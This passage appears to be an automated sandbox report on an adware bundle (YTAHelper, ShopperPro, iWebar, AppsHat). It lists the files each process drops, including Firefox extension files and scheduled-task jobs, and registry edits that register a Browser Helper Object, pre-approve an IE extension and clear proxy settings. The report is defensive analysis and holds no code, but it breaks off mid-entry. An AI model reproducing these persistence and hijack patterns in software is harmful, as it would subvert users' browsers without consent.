C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e7e3629a6f6a4b422d47ceef451fe17a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f0ee2df498bbad4bcf95811718d074ab.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\674e8fdf80d6e1a3ac3595b5f1f1c1a3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (24 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a216d5417a8d32bea780cd4bbf3bd309.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\eb4a5dec8c401882653eafc0487986a4.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\83dc3b3c053e06ebaee51b9d03ccc0d3.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\02f8639b310527606216e25bfbcee187.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b1d771f88c80213cd5cb9307be61de76.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\564140221e617db3564e2774eda53329.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\04d8cd4e31d40be622fb3dee655fb5e1.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e9c1c926081dda407dc715e9a86d8ff4.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f78932a021c673a721c7645fe05e452c.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\3a5175fb41cf37d8e0c586b8f8332b45.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)

The process YTAHEL~1.EXE:1600 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF84.tmp (118586 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (13584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\AccDownload.dll (11667 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (16424 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\MoreInfo.dll (15 bytes)

The process appshat_generic.exe:1584 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\setup[1].exe (756052 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiA42C.tmp\appshat.exe (806712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiA42C.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiA42C.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiA42C.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiA42B.tmp (10027 bytes)

The process DCytaiesmt_smtyc_setup.exe:1664 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_2875\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_sense.exe (44306 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_yta.exe (33815 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_shopperpro.exe (18263 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_iwebar.exe (44096 bytes)

The process DCytaiesmt_smtyc_setup.exe:1900 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_7983\DCytaiesmt_smtyc_setup.exe (7726 bytes)

The process cscript.exe:3460 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\64x64[1].ico (6495 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)

The process spbiu.exe:3656 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process spbiu.exe:1596 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process YouTubeAcceleratorService.exe:3612 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process YouTubeAcceleratorService.exe:3316 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBC4187.tmp (547 bytes)
C:\Windows\Temp\SBC1009.tmp (44 bytes)
C:\ProgramData\TEMP:56E2E879 (252 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3316.log (591 bytes)
C:\Windows\Temp\SBC12F7.tmp (51193 bytes)
C:\Windows\Temp\SBCC07.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3316_YouTubeAcceleratorService.log (225511 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6725 bytes)
C:\Windows\Temp\SBCF0F.tmp (98 bytes)
C:\Windows\Temp\SBCC50.tmp (44 bytes)
C:\Windows\Temp\SBC4E0.tmp (98 bytes)

The process B338.tmp:3876 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\NSISEncrypt.dll (3314 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\System.dll (23 bytes)

The process INS_SENSE.EXE:3888 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi23E5.tmp\qsjduyhw.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi23E5.tmp\Twhaovuu.exe (1221883 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi23E5.tmp\Rhppjlfu.tmp (351901 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi23E5.tmp\utmyveqj.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi23E5.tmp\wdsqflgk.dll (2102 bytes)

The process Xnxius.exe:3424 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\pyejmpbax.dll (13 bytes)
C:\Windows\Tasks\671594b7-fc54-4f9f-982b-96db5cfc3669-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\bqeciu.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\hmfgwj.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ipgeoapi_com[1].json (40 bytes)
%Program Files% (x86)\iWebar\671594b7-fc54-4f9f-982b-96db5cfc3669.xpi (2321 bytes)
%Program Files% (x86)\iWebar\utils.exe (75605 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\utmyveqj.dll (30 bytes)
%Program Files% (x86)\iWebar\671594b7-fc54-4f9f-982b-96db5cfc3669-4.exe (9147 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\qsjduyhw.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\207426 (3387 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\671594b7-fc54-4f9f-982b-96db5cfc3669-4.dll (38103 bytes)
%Program Files% (x86)\iWebar\671594b7-fc54-4f9f-982b-96db5cfc3669-5.exe (7385 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd280A.tmp (582266 bytes)
%Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\edjertv.dll (3730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\qwnqg.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\41290 (93063 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp (4 bytes)
C:\Windows\Tasks\671594b7-fc54-4f9f-982b-96db5cfc3669-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\nwlioa.dll (30112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)

The process taskeng.exe:3276 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:1504 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB71F.tmp (35697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\4D90EAE405E9E2FF (34773 bytes)

The process INS_IWEBAR.EXE:3152 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy23A7.tmp\wdsqflgk.dll (2102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy23A7.tmp\Xnxius.exe (1219818 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy23A7.tmp\qsjduyhw.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy23A7.tmp\Otwlefi.tmp (353968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy23A7.tmp\utmyveqj.dll (30 bytes)

Registry activity

The process cmdshell.exe:1984 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "7E 4E AF EF 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "7A 50 E9 FA 23 77 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectService.exe:1852 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5D 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process ProtectService.exe:3864 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process YTAHelper.exe:3868 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"UserId" = "%%PIXGUID(aff=smtyc"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "99 9D E6 E0 23 77 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"
"NoExplore" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"
"Version" = "1.5.4.199"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 50 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator\ExtraInfo]
"DBVersion" = "1.0.0.1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process smt_istartsurf.exe:3996 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "88 47 7B E2 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
